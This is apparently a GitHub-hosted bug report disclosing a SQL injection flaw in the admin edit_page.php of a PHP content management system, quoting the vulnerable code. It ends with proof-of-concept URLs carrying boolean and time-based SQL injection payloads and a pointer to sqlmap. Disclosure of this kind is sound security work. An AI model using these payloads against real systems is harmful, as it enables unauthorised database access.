jsjbcyber / bug_report Public

<> Code ⊙ Issues Pull requests Actions Projects Security Insights

main ▾ ···

bug_report / bug_c

jsjbcyber Update bug_c History

1 contributor

64 lines (56 sloc) | 2.96 KB ···

```
affected source code file: /admin/edit_page.php

affected source code:

 <?php
  include ("includes/headerRefresh.php");
  include ("includes/config.php");
  include ("functions/functions.php");
  require_once ("includes/session.php");
  check_login();
  ?>
  <?php if (intval($_GET['page']) == 0) {
    redirect_to("manage_pages.php");
  } ?>
  <?php get_settings(); ?>
  <?php include ("header.php") ?>
  <?php
  $errors = array();
  if (isset($_POST['submit'])) {
    if ($_POST['title'] == "")
      $errors['title'] = "Title of the Page is required !";
    if ($_POST['menu_name'] == "")
      $errors['menu_name'] = "Menu name of the Page is required !";
    if ($_POST['position'] == "")
      $errors['position'] = "Position of the Page is required !";
    if (empty($errors)) {
      $id = mysql_prep($_GET['page']);

      $title = mysql_prep($_POST['title']);
      $keywords = mysql_prep($_POST['keywords']);
```

```
            $description = mysql_prep($_POST['description']);
            $menu_name = mysql_prep($_POST['menu_name']);
            $position = mysql_prep($_POST['position']);
            $active = mysql_prep($_POST['active']);
            $home_page = mysql_prep($_POST['home_page']);
            if ($home_page == 1) {
                $query = "UPDATE pages SET home_page = DEFAULT(home_page)";
                $result = mysql_query($query);
                confirm_query($result);

            }
            $contact_form = mysql_prep($_POST['contact_form']);
            if ($contact_form == 1) {
                $query = "UPDATE pages SET contact_form = DEFAULT(contact_form)";
                $result = mysql_query($query);
                confirm_query($result);

            }
            $sidebar = mysql_prep($_POST['sidebar']);
            $sidebar_align = mysql_prep($_POST['sidebar_align']);

            $query = "UPDATE pages SET title = '{$title}', keywords = '{$keywords}', description =
    .......
  ?>

affected position:

  $query = "UPDATE pages SET title = '{$title}', keywords = '{$keywords}', description = '{$descri
  The "page" parameter has not been safely processed. SQL injection can be achieved by constructin

affected executable:
  Like this: http://xx.xx.com/admin/edit_page.php?page=2 and 1=1
             http://xx.xx.com/admin/edit_page.php?page=2 and 1=2
             http://xx.xx.com/admin/edit_page.php?page=2 RLIKE SLEEP(2)
Then, we can use tools like sqlmap for more information.
```